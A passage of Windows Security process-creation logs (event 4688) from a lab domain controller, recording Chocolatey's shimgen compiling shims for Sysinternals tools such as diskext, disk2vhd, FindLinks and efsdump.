User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246461 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\diskext64.exe" --output="C:\ProgramData\chocolatey\bin\diskext64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\diskext64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246460 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x580 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC59D.tmp" "c:\ProgramData\chocolatey\bin\CSC7D1664B324AA4168A62DE53A761482B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246459 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x534 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246458 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\diskext.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_2710\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246457 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeb8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246456 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\diskext.exe" --output="C:\ProgramData\chocolatey\bin\diskext.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\diskext.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246455 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC4C2.tmp" "c:\ProgramData\chocolatey\bin\CSCBBDA23DEF44248EDB4585646DB4A6BFC.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246454 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe78 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa68 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246453 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa68 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x6c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\disk2vhd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_0210\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246497 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe30 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x844 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246496 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x844 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\FindLinks.exe" --output="C:\ProgramData\chocolatey\bin\FindLinks.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\FindLinks.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246495 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfc8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCB98.tmp" "c:\ProgramData\chocolatey\bin\CSCD8593866E49C4D93A39D30B1EE8249D7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246494 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd10 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246493 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\efsdump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_8022\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246492 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc2c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246491 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc2c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\efsdump.exe" --output="C:\ProgramData\chocolatey\bin\efsdump.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\efsdump.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246490 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x364 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCABD.tmp" "c:\ProgramData\chocolatey\bin\CSCEFEA39A3BA9F40A8A9AE401766904040.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246489 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - 